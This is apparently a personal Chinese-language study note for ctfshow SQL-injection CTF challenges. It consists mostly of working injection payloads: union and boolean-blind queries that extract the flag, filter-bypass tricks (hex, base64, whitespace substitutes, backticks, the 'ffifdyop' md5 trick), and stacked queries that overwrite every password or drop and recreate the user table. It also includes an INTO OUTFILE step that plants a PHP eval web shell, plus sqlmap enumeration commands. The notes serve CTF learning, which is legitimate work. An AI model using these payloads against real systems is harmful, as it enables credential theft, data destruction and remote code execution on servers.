7.Sql注入

mysql官方文档

Select模块

1. 171

0' or id ='27

2. 联合查询

999' union select id,password from ctfshow_user2 where username = 'flag

3. 编码 进制转换绕过检测

9999' union select id,hex(username),password from ctfshow_user3 where username = 'flag

这里用Hex(username)绕过了对返回值含有flag的过滤

还可以用其他如



1. **数学函数**
    
    - `ABS()`: 返回一个数的绝对值。
    - `CEIL()`: 返回大于或等于指定数字的最小整数。
    - `FLOOR()`: 返回小于或等于指定数字的最大整数。
    - `ROUND()`: 四舍五入到最接近的整数。
    - `MOD()`: 返回除法的余数。
2. **字符串函数**
    
    - `CONCAT()`: 连接两个或多个字符串。
    - `SUBSTRING()`: 返回字符串的子串。
    - `UPPER()`: 将字符串转换为大写。
    - `LOWER()`: 将字符串转换为小写。
    - `LENGTH()`: 返回字符串的长度。
    - `TRIM()`: 移除字符串首尾的空格。
    - `REPLACE()`: 替换字符串中的子串。
    - `REVERSE()`: 返回字符串的反转形式。/////////////////////////////////////
    - `LEFT()`: 返回字符串左边的字符。
    - `RIGHT()`: 返回字符串右边的字符。
3. **日期和时间函数**
    
    - `NOW()`: 返回当前的日期和时间。
    - `CURDATE()`: 返回当前的日期。
    - `CURTIME()`: 返回当前的时间。
    - `DATE()`: 提取日期部分。
    - `TIME()`: 提取时间部分。
    - `TIMESTAMP()`: 返回UNIX时间戳。
4. **加密函数**
    
    - `MD5()`: 返回字符串的MD5哈希值。
    - `SHA1()`: 返回字符串的SHA-1哈希值。
    - `AES_ENCRYPT()`: 使用AES加密算法加密字符串。
    - `AES_DECRYPT()`: 使用AES加密算法解密字符串。
5. **编码和解码函数**
    
    - `to_base64()`: 将字符串进行Base64编码。
    - `from_base64()`: 将Base64编码的字符串解码。
6. **其他**
    
    - `CAST()`: 将一个值转换为指定的数据类型。
    - `COALESCE()`: 返回参数列表中的第一个非NULL值。
    - `IF()`: 如果条件为真,则返回一个值,否则返回另一个值。
    - `NULLIF()`: 如果两个表达式相等,则返回NULL,否则返回第一个表达式。

Pasted image 20240330085515.png

4. replace替换字符串绕过

这题要求返回的值不能有0-9

  • 这里我们将0-9替换为字母
0' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),"1","@A"),"2","@B"),"3","@C"),"4","@D"),"5","@E"),"6","@F"),"7","@G"),"8","@H"),"9","@I"),"0","@J") from ctfshow_user4 where username="flag" --+ 
  • 这个里面用来base64编码,主要是防止原来的flag里面含有特殊字符,从而影响结果
    再替换回去
import base64
 
flag64 = "Y@CRmc@Bhvd@CsyNjZiN@BU@JYy@J@EZTJiLTQzOGEtODg@EZC@J@CYjc@AMTZhNTBkMzR@I"
flag = flag64.replace("@A", "1").replace("@B", "2").replace("@C", "3").replace("@D", "4").replace("@E", "5").replace("@F", "6").replace("@G", "7").replace("@H", "8").replace("@I", "9").replace("@J", "0")
 
print(base64.b64decode(flag))
 

字符串替换.py

5. 文件操作

  • 这里尝试写一个Php文件进去
99' union select 1,"<?php eval(POST[1]):?>" into outfile '/var/www/html/1.php
  • 但是Pasted image 20240330100912.png
  • 注入失败,我们打算将php语句进行2重编码编码
PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+

再把base64进行url编码

PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B

payload

99' union select 1,from_base64("PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B") into outfile '/var/www/html/4.php

然后可以通过蚁剑连接

  • 连接数据库
  • 注意一下数据库型号Pasted image 20240330101848.png
  • 密码可以通过查看config.php获得

6. 简单过滤 万能密码

999' or username = 'flag

7. 过滤空格

  • 万能密码
1'or/**/1=1%23
  • 正常查询
1'/**/union/**/select/**/1,2,password/**/from/**/ctfshow_user/**/where/**/username='flag'%23

%23: 这是URL编码中表示字符 # 的方式。在SQL查询中,%23 后的内容将被视为注释,从而忽略后续的内容。这种写法可能是为了防止后续内容被执行。

  • 过滤空格可以用
/**/  注释
%0a   换行
%09   水平制表符
%0b   垂直制表符
%0C   换页
%0d   回车
·     反应号(要在括号里面用)不好用

8. 过滤空格与*号

  • 我们用不了注释绕过
  • 可以用剩下的几种
%0a   换行
%09   水平制表符
%0b   垂直制表符
%0C   换页
%0d   回车
·     反应号(要在括号里面用)不好用

payload

0'union%0aselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'3

这里我们使用了反引号绕过
但注意反引号是无法绕过union这里的

9. 过滤空格 星号 水平制表

  • 方法一
    一把梭哈
1'or'1'='1'%23
  • 方法二 正常
0'union%0cselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'3

这里0a 0b 0d都过滤了

10. 过滤空格 0c绕过

  • 使用上一把的
0'union%0cselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'3

或者无空格写法

id=-1'or(id=26)and'1'='1
id=26'or(id=26)or'1'='2

10.1. 关于对上面无空格写法的思考

  • 第一种
    -1'or(id=26)and'1'='1
    
  • 这里 用了两个逻操作符 or and 连接了3个条件 -1、id=26、1=1
  • 当且仅当整个逻辑表达实战为真时,才会执行成功且执行为真的地方
  • 对于上面的表达式:id=-1为假、id=26为真、1=1为真 则会执行id=26爆出id=26字段Pasted image 20240330140909.png
  • 第二种
id=26'or(id=26)or'1'='2
  • 这里是两个or连接的,
  • 按照判断,id=26为真 ,(id=26)都为真
  • 肯定会爆出id=26的字段
  • 但是若这两个Id不相等且都为真时,会爆出哪个Id?
  • 经过测试是以后面这个id为准
    且不管前面这个id是真是假
  • 前假后真Pasted image 20240330141323.png
  • 前真后真Pasted image 20240330141351.png
  • 前真后假时Pasted image 20240330141411.png
  • 前假后假Pasted image 20240330141521.png
  • 但若前面两个都是假时,第3个为真时Pasted image 20240330141548.pngPasted image 20240330141638.png
    只会爆出第一个字段

11. 过滤空格 联合查询

Pasted image 20240330143525.png

  • 无空格写法
id=-1'or(id=26)and'1'='1
id=26'or(id=26)or'1'='2
  • 正常写法
999'%0cor%0cusername='flag

12. 比181多过滤flag

  • 无空格写法
id=-1'or(id=26)and'1'='1
  • 正常写法
999'%0cor%0cusername%0clike'%la%

这里使用了like %flag 写法

13. 布尔盲注

  • 我们可以通过这里回显的0与1判断是否正确
  • 布尔盲注思路:利用布尔值,对 flag 进行挨个判断,flag 是由 ctfshow{} +十六进制(0 ~ f)+ - 组成
  • Pasted image 20240330151522.png
    tableName=`ctfshow_user`where`pass`regexp('c')
    
  • 因为我们知道flag第一个字母是c所以这里显示是1Pasted image 20240330172500.png
  • 我们就可以通过一位一位的匹配flag得出flag
  • file:D:\ctf_scripts\sql_injection\布尔盲注逐位获取flag.py

14. 过滤很多 单双引号 where 等

  • 这一题where也过滤了
  • Pasted image 20240330175118.png
  • 在官方文档中可以看到select where处还可以用其他的Pasted image 20240330180148.png
  • 如order by、having、limit等
  • 我们尝试用Having
tableName=ctfshow_user group by pass having pass regexp(0x63746673686f77)

这里面后面的16进制是 “ctfshow” 可以用16进制绕过双引号Pasted image 20240330181418.png
然后就是修改脚本了
file:D:\ctf_scripts\sql_injection\16进制布尔盲注逐位获取flag.py
值得注意的是,这个having要搭配order by使用

15. 184+过滤数字 char函数

  • 首先先了解
  • select true 是1 true+true=2Pasted image 20240330225657.png
  • 同理false是0Pasted image 20240330225724.png
  • 这里我们使用了一个char函数
  • char(数字)可以输出对应的ascill码
  • 如char(120)=xPasted image 20240330225954.png
  • 同理char(true+true+...+true)=x
  • 这样我们就可以不用数字表示数字
    然后就是写脚本
    file:D:\ctf_scripts\sql_injection\布尔、无数字、char.py

16. 185脚本跑

17. Php md5函数利用

  • 先看代码Pasted image 20240331095753.png
  • 查看Php文档得知Pasted image 20240331095904.png
  • 所以我们要传入一个字符串,能够使其 16 字符长度的原始二进制格式 实现sql注入
  • 这里使用
    ffifdyop
    
  • 它返回的二进制是
    raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
    
  • 这里使用这个万能密码就成功登录 并获取了flagPasted image 20240331100300.png

18. mysql 0与字母弱类型相等

  • Pasted image 20240331102107.png
  • 想要拿flag需要输入的密码经过intval函数后等于查询出的密码。
    注意这个地方用的两个等于号。
    所以只要真正的密码是flag字母我们就可以通过输入密码为0来绕过
    payload
username=1||1
password=0

或者username=0

18.1. 无引号包括数字 与字母比较

  • 数据库Pasted image 20240331101031.png
  • 查询语句1
    select username,password from user where username = 0;
    
    返回结果Pasted image 20240331101219.png
  • 这里返回了3条,他们的共同特点是 Username 开头是字母,而字母与无引号包括的数字弱类型比较时,字母开头的会被当作0,所以返回了3条0
  • 查询语句2
    select username,password from user where username =4;
    
  • 返回结果Pasted image 20240331101512.png
  • 这就是返回了4ab,因为会把开头的数字当作值。

19. 布尔盲注读文件

  • Pasted image 20240331122138.png题目提示flag在api/index.php当中
  • 先输入用户名 密码让其有响应
  • 0&0时Pasted image 20240331125922.pngPasted image 20240331130200.png
    回显关键字符串:\u5bc6\u7801\u9519\u8bef
  • 114514&0时Pasted image 20240331130933.pngPasted image 20240331130222.png
    回显关键字: \u67e5\u8be2\u5931\u8d25
  • 上面两点可以看出
    密码错误时:若数据库内有该用户,则显示查询失败(这里0没有被引号包括,所以可以表示任意字母、符号、特殊符号开头的用户)
    若数据库里面没有该用户,则会显示密码错误
    这样我们就可以将他爆出来了
  • 写脚本盲注
    file:D:\ctf_scripts\sql_injection\盲注读文件.py

20. 布尔盲注

  • 先在这里随便测试几下
admin
1' or '2>1

发现与上题一样的
还是写脚本
file:D:\ctf_scripts\sql_injection\布尔盲注模板.py

21. 过滤ascil码

  • 过滤了这个Pasted image 20240331214958.png
  • 可以使用190的脚本,将ascil换成ord函数即可
    file:D:\ctf_scripts\sql_injection\布尔盲注模板.py
  • ord与ascii()的区别
    ORD() 函数返回字符串第一个字符的ASCII 值,如果该字符是一个多字节(即一个或多个字节的序列),则[MySQL函数将返回最左边字符的代码。
    
  • 例子Pasted image 20240331224723.png

22. 191+过滤ord hex

  • 这里ord、hex都被过滤了,通过转数值的方式不能用了。substr还可以用, 那么直接截取字符判断匹配即可。

23. 192+过滤 subste

  • 这里可以使用left 或者 right 函数
  • left()返回具有指定长度的字符串的左边部分。
    left(string,length);

24. lpad( ) 或者 rpad()

  • 找一找其他和截取有关的函数,发现lpad()

在这里插入图片描述

lpad(str,len,padstr)
lpad()函数返回字符串strlen小于字符串长度相当于字符串截取;大于字符串长度,则在左填充用字符串padstr直到达到len字符长度。

在这里插入图片描述

有左填充,一般就是右填充,找到rpad(),用法和lpad()类似。

在这里插入图片描述

这里使用lpad(),它和left()的注入语句类似,只是多了一个填充字符串padstr参数,令其为空即可。

25. 堆叠注入,Update密码

  • 过滤了select,单双引号也被过滤,没有报错提示。

没有过滤分号,考虑堆叠注入。但不能有空格,可以通过反引号包裹表名等信息的方式绕过空格过滤。

根据展示的代码可知,登陆成功就可以获得flag,关键就在于登陆,而且登陆的这个用户他的密码要是数字。过滤了select,单双引号也被过滤,没有报错提示。

没有过滤分号,考虑堆叠注入。但不能有空格,可以通过反引号包裹表名等信息的方式绕过空格过滤。

根据展示的代码可知,登陆成功就可以获得flag,关键就在于登陆,而且登陆的这个用户他的密码要是数字。

在这里插入图片描述

通过提供的查询语句可以知道表名是ctfshow_user,列名为username和pass。
考虑用update把所有pass改成1。

username=1;update`ctfshow_user`set`pass`=1&password=1
//这里username=1;写成username=0;也可以的,不影响后面update的执行,两条语句都会执行。

这里除了用username=1 也可以用0
因为无单引号包裹,所以0会匹配所有字母和特殊符号开头的用户

在这里插入图片描述

然后username=0&password=1登陆。

26. 堆叠注入

  • 根据逻辑看看到Pasted image 20240401235910.png
  • 只要返回的pass是等于我们输入的密码就行了。
  • 我们Pasted image 20240401235938.png
  • 根据查询语句,我们使用Select(数字)就可以控制查询pass返回的结果
  • Pasted image 20240402000043.png
  • 这个也可以返回其他的 如使用16进制返回字母 符号,数字也可以被单、双引号包起来,也是返回数字
    Pasted image 20240402000442.png
  • 但是不能只输入字母Pasted image 20240402000405.png
    输入的字母必须要用引号包括

27. 堆叠 长用户名,删表建表插数据 绕过select

  • 这题还是用到上一题的思想
  • Pasted image 20240402094906.png
  • 只要对应的账户密码正确即可。
  • 对于账户,我们可以用0 表示任何 字母/特殊符号开头的账户
  • 但密码由于过滤了select 我们无法再通过selcet(1)类似的来指定返回的账户密码
  • 但我们可以通过删除表再新建表再插入账户密码来实现指定账户密码
  • 此方法的限制条件:用户名长度要求不小
    Pasted image 20240402095151.png
删除表
drop table ctfshow_user;
新建表
create table ctfshow_user(`username`varchar(100),`password`varchar(100)); 
插入数据
insert ctfshow_user(`username`,`password`) value(1,2)

0;drop table ctfshow_user;create table ctfshow_ user(`username`varchar(100),`pass`varchar(100)); insert ctfshow_user(`username`,`pass`) value(1,2);

28. 已知表、列名 可不用 drop create

  • Pasted image 20240402101025.png
  • 逻辑与上题一样
  • 但过滤drop create
  • 由于已经知道表列名,我们直接插数据
0;insert ctfshow_user(`username`,`pass`) value(1,2);

这里也可以用change

29. 198+过滤括号,使用change、改变数据类型

使用change方法
Pasted image 20240402151052.png这个是198的方法,但是用到了括号,我们将其变量类型进行更改避免用括号
我们使用
Pasted image 20240402150550.png 这个方法就没用到Insert 但是条件也是要知道列名 表名 还有密码的

  • 还有种不用括号的,但用到了set into
INSERT INTO ctfshow_user
SET username = 1, pass = 2;

30. 禁用逗号,show tables;

解法一:

show tbales;
密码用table名就行了, 要允许使用空格

解法2:

也可以用change解法

SQLmap

1. get请求获取

使用--user-agent 指定agent

 使用--referer 绕过referer检查
 python3 .\sqlmap.py -u "http://5c700530-30c6-4997-b8a3-d3879bef19db.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show  

 
```
--dbs 枚举数据库的所有数据库
-D ctfshow_web --tables 获取ctfshow_web数据库下的表

139 --tables 枚举数据库的所有表

-D ctfshow_web --tables -T ctfshow_user --columns
获取指定表,列下的字段名字

140 --columns 枚举数据库的所有列